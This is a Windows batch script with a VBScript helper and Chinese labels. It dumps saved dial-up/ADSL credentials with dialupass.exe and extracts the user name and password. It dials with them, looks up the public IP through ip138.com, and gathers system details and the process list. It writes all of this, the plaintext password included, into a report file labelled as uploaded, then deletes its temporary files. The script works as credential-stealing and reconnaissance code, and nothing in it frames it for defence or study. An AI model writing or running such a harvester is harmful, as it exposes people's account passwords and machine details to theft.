@echo off
del /f /q IP.bbs pass.bbs user.bbs xt.bbs 密码.bbs 用户名.bbs
dialupass.exe /stext 账号.bbs
type 账号.bbs | find "User Name :" >用户名.bbs
type 账号.bbs | find "Password :" >密码.bbs
del /f /q 账号.bbs
for /f "tokens=1-3*" %%1 in (用户名.bbs)do >user.bbs echo %%4
for /f "tokens=1-3*" %%2 in (密码.bbs)do >>pass.bbs echo %%4
set /p name=<user.bbs
set /p pass=<pass.bbs
rasdial adsl %name% %pass%
call ip.bat
set /p ip=<IP.bbs
@echo off
systeminfo >xt.bbs
echo %ip% >%name%.txt
type xt.bbs | find "Lease Obtained" >>%name%.txt
echo %ComputerName%上传于%date:~0,10% %time%>>%name%.txt
echo %name%>>%name%.txt
echo %pass%>>%name%.txt
type xt.bbs | find "处理器:" >>%name%.txt
type xt.bbs | find "物理内存" >>%name%.txt
type xt.bbs | find "虚拟内存" >>%name%.txt
type xt.bbs | find "网卡:" >>%name%.txt
tasklist >>%name%.txt
del /f /q IP.bbs pass.bbs user.bbs xt.bbs 密码.bbs 用户名.bbs
ip.bat如下
@echo off
<"%~f0" more +5 >tmp.vbs
cscript //NoLogo /e:vbscript tmp.vbs %1>IP.bbs
echo >nul && del tmp.vbs
goto:eof
set oDOM = WScript.GetObject("http://www.ip138.com/ip2city.asp")
do until oDOM.readyState = "complete"
WScript.sleep 200
Loop
s=oDOM.documentElement.innerText
set re = New RegExp
re.Pattern="(\d+)\.(\d+)\.(\d+)\.(\d+)"
For Each m in re.Execute(s)
WScript.Echo m
Next